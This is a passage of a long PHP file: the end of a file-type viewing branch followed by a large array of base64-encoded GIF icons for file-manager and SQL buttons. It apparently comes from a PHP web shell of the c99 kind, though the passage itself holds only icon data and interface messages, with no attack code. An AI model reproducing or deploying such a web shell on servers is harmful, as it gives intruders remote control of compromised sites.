  7019.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  7020.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  7021.  }
  7022. }
  7023.  
  7024.  
  7025.  
  7026.  
  7027.  
  7028.  
  7029.  
  7030. }
  7031. else
  7032. {
  7033.  @ob_clean();
  7034.  $images = array(
  7035. "arrow_ltr"=>
  7036. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  7037. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  7038. "back"=>
  7039. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  7040. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  7041. "Wg0JADs=",
  7042. "buffer"=>
  7043. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  7044. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  7045. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  7046. "change"=>
  7047. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  7048. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  7049. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  7050. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  7051. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  7052. "zMshADs=",
  7053. "delete"=>
  7054. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  7055. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  7056. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  7057. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  7058. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  7059. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7060. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  7061. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  7062. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  7063. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  7064. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  7065. "download"=>
  7066. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  7067. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  7068. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  7069. "forward"=>
  7070. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  7071. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  7072. "WqsJADs=",
  7073. "home"=>
  7074. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  7075. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  7076. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  7077. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  7078. "mode"=>
  7079. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  7080. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  7081. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  7082. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  7083. "refresh"=>
  7084. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  7085. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  7086. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  7087. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  7088. "search"=>
  7089. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  7090. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  7091. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  7092. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  7093. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  7094. "setup"=>
  7095. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  7096. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  7097. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  7098. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  7099. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  7100. "small_dir"=>
  7101. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  7102. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  7103. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  7104. "small_unk"=>
  7105. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  7106. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  7107. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  7108. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  7109. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  7110. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  7111. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  7112. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  7113. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7114. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7115. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7116. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7117. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7118. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7119. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  7120. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  7121. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  7122. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  7123. "yAsokBkQADs=",
  7124. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  7125. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  7126. "sort_asc"=>
  7127. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  7128. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  7129. "sort_desc"=>
  7130. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  7131. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  7132. "sql_button_drop"=>
  7133. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  7134. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7135. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  7136. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  7137. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  7138. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  7139. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  7140. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  7141. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  7142. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  7143. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  7144. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  7145. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  7146. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  7147. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  7148. "AQEAOw==",
  7149. "sql_button_empty"=>
  7150. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  7151. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7152. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  7153. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  7154. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  7155. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  7156. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  7157. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  7158. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  7159. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  7160. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  7161. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  7162. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  7163. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  7164. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  7165. "sql_button_insert"=>
  7166. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  7167. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7168. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  7169. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  7170. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  7171. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  7172. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  7173. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  7174. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  7175. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  7176. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  7177. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  7178. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  7179. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  7180. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  7181. "up"=>
  7182. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  7183. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  7184. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  7185. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  7186. "write"=>
  7187. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  7188. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  7189. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  7190. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  7191. "ext_asp"=>
  7192. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  7193. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  7194. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  7195. "ext_mp3"=>
  7196. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  7197. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  7198. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  7199. "ext_avi"=>
  7200. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  7201. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  7202. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  7203. "ext_cgi"=>
  7204. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  7205. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  7206. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  7207. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  7208. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7209. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7210. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7211. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  7212. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  7213. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  7214. "RYtMAgEAOw==",
  7215. "ext_cmd"=>
  7216. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  7217. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  7218. "dmrYAMn1onq/YKpjvEgAADs=",
  7219. "ext_cpp"=>
  7220. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  7221. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  7222. "Eq7YrLDE7a4SADs=",
  7223. "ext_ini"=>
  7224. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  7225. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  7226. "SnEjgPVarHEHgrB43JvszsQEADs=",
  7227. "ext_diz"=>
  7228. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  7229. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  7230. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  7231. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  7232. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  7233. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  7234. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  7235. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  7236. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7237. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7238. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7239. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7240. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7241. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  7242. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  7243. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  7244. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  7245. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  7246. "Ow==",
  7247. "ext_doc"=>
  7248. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  7249. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  7250. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  7251. "ext_exe"=>
  7252. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  7253. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  7254. "xhIAOw==",
  7255. "ext_h"=>
  7256. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  7257. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  7258. "Wq/NknbbSgAAOw==",
  7259. "ext_hpp"=>
  7260. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  7261. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  7262. "UqUagnbLdZa+YFcCADs=",
  7263. "ext_htaccess"=>
  7264. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  7265. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  7266. "AAA7",
  7267. "ext_html"=>
  7268. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
